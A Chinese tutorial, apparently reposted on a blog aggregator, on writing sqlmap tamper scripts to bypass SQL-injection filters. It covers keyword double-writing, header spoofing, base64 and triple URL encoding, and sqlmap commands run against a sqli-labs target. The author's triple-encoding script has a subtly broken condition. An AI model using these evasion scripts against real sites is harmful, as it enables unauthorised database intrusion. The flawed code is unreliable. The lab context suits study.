Sqlmap Tamper 编写/改写 学习

news2024/9/21 8:02:33

sqlmap的 --tamper 参数可以引入用户自定义的脚本修改注入时的payload ,达到sql注入时对一些敏感字符的一些绕过

下载 sqlmap 自带的 tamper 脚本就在 /sqlmap/tamper 目录下,是用 python 编写的,所以我们可以用 python 语言自己编写一些脚本放进该目录即可使用。如果有一些 python 基础我觉得就可以比较简单地理解与编写 tamper 脚本。

 

tamper 脚本的例子:

这个是sqlmap中自带的一个将 payload 进行base64编码的一个脚本

#!/usr/bin/env python

"""

Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)

See the file 'LICENSE' for copying permission

"""

from lib.core.convert import encodeBase64

from lib.core.enums import PRIORITY


__priority__ = PRIORITY.LOW


def dependencies():

    pass


def tamper(payload, **kwargs):

    return encodeBase64(payload, binary=False) if payload else payload

——————

对脚本内容结构进行分析:

import 部分

什么的例子是这两行:

from lib.core.convert import encodeBase64

from lib.core.enums import PRIORITY

就是导入python的一些第三方库,用 import 等语句

——————

priority 部分

这一行内容:

__priority__ = PRIORITY.LOW

作用是定义tamper的优先级,如果在使用 sqlmap 时使用多个tamper脚本,就会根据每个tamper定义 PRIORITY 的参数等级来优先使用等级较高的tamper

比如这里的一个优先级是 LOW ,代表数值-10

其他优先级值可选项:

LOWEST=-100

LOWER=-50

LOW=-10

NORMAL=0

HIGH=10

HIGHER=50

HIGHEST=100

——————

dependencies 函数部分

上面的例子为:

def dependencies():

    pass

这里为 pass ,就是为空,不含内容。

dependencies 应该就是相当于在使用 sqlmap 控制台时出现的注释信息,或者说一个提示信息。比如可以提示支持的数据库类型等信息。

函数内可以使用 singleTimeWarnMessage() 函数,用于在控制台中打印出警告信息。

使用这个函数在前面需要先导入  from lib.core.common import singleTimeWarnMessage

例:

from lib.core.common import singleTimeWarnMessage

def dependencies():

    singleTimeWarnMessage("这是一个tamper提示")

tamper 函数部分

上面的例子:

def tamper(payload, **kwargs):

    return encodeBase64(payload, binary=False) if payload else payload

这个函数部分就是对 payload 进行编码、替换等操作,函数内的 payload 参数就是我们进行sql注入构造的语句,函数内编写代码对 payload 进行编码替换等操作,写完要进行的操作,最后函数 return payload 即可。

比如这里给的例子只用了一个 encodeBase64 函数对 payload 编码一次就 return 返回。

再简单写一个替换编写,用到 python 的 replace() 函数

实现对 payload 一些敏感字符的双写绕过

def tamper(payload, **kwargs):

    payload = payload.lower()

    payload = payload.replace('select','selselectect')

    payload = payload.replace('union','uniunionon')

    return payload

tamper() 函数内还有一个参数: kwargs

这个参数可以修改请求头数据中的其他参数,前面的payload参数操作只体现在 url 上

通过 kwargs 对请求头中的参数进行修改,要先理解 kwargs 是一个字典,可能要学习一下 python 里的字典知识

kwargs 字典结构为:

{'headers': {}, 'delimiter': '&', 'hints': {}}

学习 sqlmap 中自带脚本 varnish.py 中对 kwargs 参数的操作写法

比如修改请求头中 User-Agent 参数值:

headers = kwargs.get("header",{})

headers['User-Agent']="你要改的值"

对前面的双写绕过tamper 函数加上请求头数据修改的功能:

def tamper(payload, **kwargs):

    headers = kwargs.get("header",{})

    headers['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

    headers["X-Forwarded-For"] = "127.0.0.1"

    return payload

——————

案例编写

最后尝试一个完整的脚本编写及使用。

要实现的功能:

1、sqlmap 使用时打印 warning 警告信息:这是一个tamper提示

2、对payload 三次 url 编码

这里先通过 sqlmap 中自带的 一次url编码脚本 charencode.py 和 自带的 二次url 编码脚本 chardoubleencode.py 学习一下编写方法,然后要编写三次 url 编码的脚本只需要在原来基础上修改一下即可。

主要理解 while 循环里的逻辑,这里以一次url编码的代码为例

if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:

        retVal += payload[i:i + 3]

        i += 3

if 语句判断如果当前字符是 %,并且后面两个字符都是十六进制数字,则将这三个字符添加到变量 retVal 中,并将计数器 i 加上 3跳过已经处理过的三个字符。

else:

        retVal += '%%%.2X' % ord(payload[i])

        i += 1

否则,将当前字符转换为其 ASCII 码值,并将其格式化为两位十六进制数,然后将其添加到变量 retVal 中,并将计数器 i 加上 1。

部分代码详解:

其中 

string.hexdigits 表示十六进制的字符( '0123456789abcdefABCDEF'),所以 payload[i + 2:i + 3] in string.hexdigits 也可以写成 payload[i + 2:i + 3] in '0123456789abcdefABCDEF'

'%%%.2X' % ord(payload[i]) 这个表达式中

%.2X 中的 .2 表示输出的十六进制数至少包含两位,不足两位则在前面补 0。%X 是指将一个整数或字符转换为十六进制表示的字符串。

而在 % 符号之前又加上了一个 % 符号,这是因为 % 符号在 Python 中是一个特殊的字符,用来进行字符串格式化。如果要在字符串中输出 % 符号,需要用两个 % 符号来表示。

所以这个表达式会将 payload[i] 转换为两位十六进制数,并在前面添加一个 % 符号,最终返回一个形如 %XX 的字符串,其中 XX 是 payload[i] 对应的 ASCII 码的十六进制表示。

——

url编码规则

再通过 chatgpt ai 可以方便清晰地了解一下 url 多次编码的规则

第一次编码是将每个字符转换为ASCII码,再以两位十六进制数字表示,再加上百分号(%)

后面的多次编码只需要在一次编码的基础上把 % 变为 %25 即可

例如 SELECT FIELD FROM TABLE

一二三次 url 编码的结果:

%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

%252553%252545%25254C%252545%252543%252554%252520%252546%252549%252545%25254C%252544%252520%252546%252552%25254F%25254D%252520%252554%252541%252542%25254C%252545

编写三次 url 编码 tamper 脚本

得到结果为:

#!/usr/bin/env python

import string

from lib.core.enums import PRIORITY

from lib.core.common import singleTimeWarnMessage


__priority__ = PRIORITY.LOW


def dependencies():

    singleTimeWarnMessage("这是一个tamper提示")


def tamper(payload, **kwargs):

    retVal = payload

    if payload:

        retVal = ""

        i = 0

        while i < len(payload):

            if payload[i] == '%' and (i < len(payload) - 4) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits+payload[i + 3:i + 4] in string.hexdigits+payload[i + 4:i + 5] in string.hexdigits:

                retVal += '%%25%s' % payload[i + 1:i + 5]

                i += 5

            else:

                retVal += '%%2525%.2X' % ord(payload[i])

                i += 1

    return retVal

while函数中,遍历字符串,如果为 % ,并且后面四位是十六进制数,则将 % 变为 %25 ,再接上后面的十六位进制数,i+5 跳过一操作的五个字符

如果不是 % ,意味着一个字符还未经过url 编码,将其三次url 编码就是将其转换为 ASCII码,并以两位十六进制数表示,前面加上 %2525

——————

案例抓包测试

先抓包测试一下 sqlmap 自带的一次url编码脚本 charencode.py

python sqlmap.py -u "http://192.168.43.56/sqli-labs/Less-1/?id=1" --dbs --tamper "charencode.py" --proxy "http://127.0.0.1:8080"

可以看到id后面接的 payload 经过了一次 url 编码

再抓包测试我们前面写的三次 url 编码脚本

python sqlmap.py -u "http://192.168.43.56/sqli-labs/Less-1/?id=1" -D xss --tables --tamper "charthreeencode.py" --proxy "http://127.0.0.1:8080"

查看执行结果

实现功能1,使用时打印 warning 警告信息

实现功能2对payload 三次 url 编码,可以看到 id 后面接的payload 经过了三次 url 编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/462709.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

bismark和bsmap比对原理

1&#xff0c;bismark比对方法比较简单粗暴&#xff0c;它制作两种类型的基因组&#xff1a;1&#xff09;&#xff0c;将所有的C转化为T的基因组&#xff1b;2&#xff09;&#xff0c;将所有的G转化为A的基因组。它将bisulfate&#xff08;重chong硫酸盐&#xff09;处理后的…

【Kafka】面试题总结

Kafka 1、什么是消息队列2、消息队列有什么用3、Kafka 的多分区以及多副本机制有什么好处呢4、Zookeeper 在 Kafka 中的作用知道吗5、Kafka 如何保证消息的消费顺序6、Kafka 如何保证消息不丢失7、Kafka 如何保证消息不重复消费7、Kafka为什么快/吞吐量大 1、什么是消息队列 我…

【JavaScript】对象继承精华提炼

继承机制 每个函数都有一个prototype属性&#xff0c;指向一个对象&#xff0c;该对象是原型对象&#xff1b;构造函数生成实例时&#xff0c;该属性会自动成为实例对象的原型&#xff1b;原型对象上的所有属性和方法&#xff0c;都能被实例对象共享继承&#xff1b;原型对象的…

使用HALCON标定板快速标定,纠正成像畸变

使用HALCON标定板快速标定&#xff0c;纠正成像畸变 1生成标定板描述文件 gen_caltab (7, 7, 0.00375, 0.5, caltab.descr, caltab.ps)gen_caltab ( : : XNum, YNum, MarkDist, DiameterRatio, CalPlateDescr, CalPlatePSFile : ) 为具有矩形排列标记的标定板生成标定板描述文…

Linux环境下安装RocketMQ(单机、集群)

目录 前置要求&#xff1a; 一、下载RocketMQ 二、上传解压 三、配置rocketmq的环境变量 四、查看rocketmq的目录结构 五、启动 5.1 启动nameserver 5.2 启动broker 六、测试发送消息 七、关闭 八、RocketMQ集群搭建 8.1 RocketMQ集群模式介绍 8.2 搭建 8.2.1 准…

海康机器视觉Visionmaster-VM3D常见问题及解决方法

软件及环境问题 第一个问题&#xff1a;软件获取问题 官网获取 第二个问题&#xff1a;环境配置类问题 1.软件打不开&#xff0c;加密狗灯不亮&#xff0c;6报错&#xff1a;加密狗未检测到或异常。解决方法&#xff1a;安装3DVM的驱动。 安装后加密狗无法识别&#xff0c…

SLAM论文速递:SLAM—— MID-Fusion:基于八叉树的对象级多实例动态SLAM—4.26(1)

论文信息 题目&#xff1a; MID-Fusion:Octree-based Object-Level Multi-Instance Dynamic SLAMMID-Fusion:基于八叉树的对象级多实例动态SLAM 论文地址&#xff1a; https://ieeexplore.ieee.org/abstract/document/8794371发表期刊&#xff1a; 2019 International Conf…

LVS-NAT模式

什么是群集&#xff1f; 多台主机组成的一个整体&#xff0c;提供一个ip访问通道&#xff0c;所有的主机干一件事 提供同样的服务。 群集有哪些类型&#xff1f; ①负载均衡群集&#xff08;LB&#xff09;&#xff1a; 提高系统的响应能力&#xff0c;处理更多的访问请求&am…

Linux进程(1)

目录 ⛹&#x1f3fd;进程简介⛹&#x1f3fd;查看进程⛹&#x1f3fd;系统调用&#x1f6b4;&#x1f3fd;获取进程标示符&#x1f6b4;&#x1f3fd;创建进程 ⛹&#x1f3fd;进程状态&#x1f6b4;&#x1f3fd;孤儿进程&#xff1a;&#x1f6b4;&#x1f3fd;进程优先级 ⛹…

一次使用netcat的经验记录

1.netcat安装 参考&#xff1a;https://my.oschina.net/u/3530967/blog/1560985 2.netcat使用 参考&#xff1a;https://zhuanlan.zhihu.com/p/83959309 3.创建udp服务 &#xff08;1&#xff09;使用&#xff1a;nc -l -u -p 8810 创建udp服务端监听8810端口 在另一台机…

基于信度感知的半监督医学图像分类对比自集成

文章目录 Reliability-Aware Contrastive Self-ensembling for Semi-supervised Medical Image Classification摘要本文方法Reliability-Aware Contrastive Mean TeacherWeight FunctionReliability-Aware Consistency LossReliability-Aware Contrastive LossObjective Functi…

windows 安装mysql5.7

确认是否安装了mysql winr 输入services.msc , 找mysql 下载 链接&#xff1a;https://pan.baidu.com/s/1zPuvzjWovky3MrpNlIt9uw 提取码&#xff1a;y52i 安装 https://blog.csdn.net/u012318074/article/details/124042756 家目录下新建配置文件 my.ini 注意路径中 // &a…

企业进行数字化转型的优劣势分别有哪些?

数字化转型是指将数字技术融入企业的方方面面&#xff0c;从而导致企业运营方式和为客户创造价值的方式发生根本性变化。企业数字化转型既有优势也有劣势&#xff0c;概述如下&#xff1a; 优点&#xff1a; 提高效率和生产力&#xff1a;数字化转型使企业能够自动化和简化业…

Session服务端会话追踪

1. Session基本使用 将数据&#xff08;cookie&#xff09;保存在客户端不安全&#xff0c;因为客户端在不停的进行着网络传输&#xff0c;所以把数据存储在服务端。 存储的对象就是session&#xff0c;例如AServlet往session中存数据&#xff0c;BServlet往session中读数据。 …

纯 CSS 实现几个 Loading 效果

1. 平滑加载 <div class"progress-1"></div>.progress-1 {width:120px;height:20px;background:linear-gradient(#000 0 0) 0/0% no-repeat#ddd;animation:p1 2s infinite linear; } keyframes p1 {100% {background-size:100%} }linear-gradient(#000 0…

11.java程序员必知必会类库之word处理库

前言 正常业务中&#xff0c;可能涉及到和合作方签约电子合同&#xff0c;此时&#xff0c;我们需要先设计合同模板&#xff0c;维护固定内容&#xff0c;将可变的内容通过占位符替代&#xff0c;等签章的时候&#xff0c;生成pdf,然后可以根据设计的合同章的坐标&#xff0c;…

家庭私人影院 - Windows搭建Emby媒体库服务器并远程访问 「无公网IP」

文章目录 1.前言2. Emby网站搭建2.1. Emby下载和安装2.2 Emby网页测试 3. 本地网页发布3.1 注册并安装cpolar内网穿透3.2 Cpolar云端设置3.3 Cpolar内网穿透本地设置 4.公网访问测试5.结语 1.前言 在现代五花八门的网络应用场景中&#xff0c;观看视频绝对是主力应用场景之一&…

第十章_Redis集群(cluster)

是什么 定义 由于数据量过大&#xff0c;单个Master复制集难以承担&#xff0c;因此需要对多个复制集进行集群&#xff0c;形成水平扩展每个复制集只负责存储整个数据集的一部分&#xff0c;这就是Redis的集群&#xff0c;其作用是提供在多个Redis节点间共享数据的程序集。 官…

cad怎么转换成pdf格式,3个方法快速搞定

cad怎么转换成pdf格式&#xff1f;首先我们来了解一下CAD是什么。CAD是一种计算机辅助设计软件&#xff0c;其文件格式为DWG&#xff08;Drawing&#xff09;和DXF&#xff08;Drawing Exchange Format&#xff09;。DWG是CAD程序的本地文件格式&#xff0c;用于存储2D和3D图形…

【LLM】LLaMA简介:一个650亿参数的基础大型语言模型

LLaMA简介&#xff1a;一个650亿参数的基础大型语言模型 PaperSetup其他资料 作为 Meta 对开放科学承诺的一部分&#xff0c;今天我们将公开发布 LLaMA (大型语言模型 Meta AI) &#xff0c;这是一个最先进的大型语言基础模型&#xff0c;旨在帮助研究人员推进他们在人工智能这…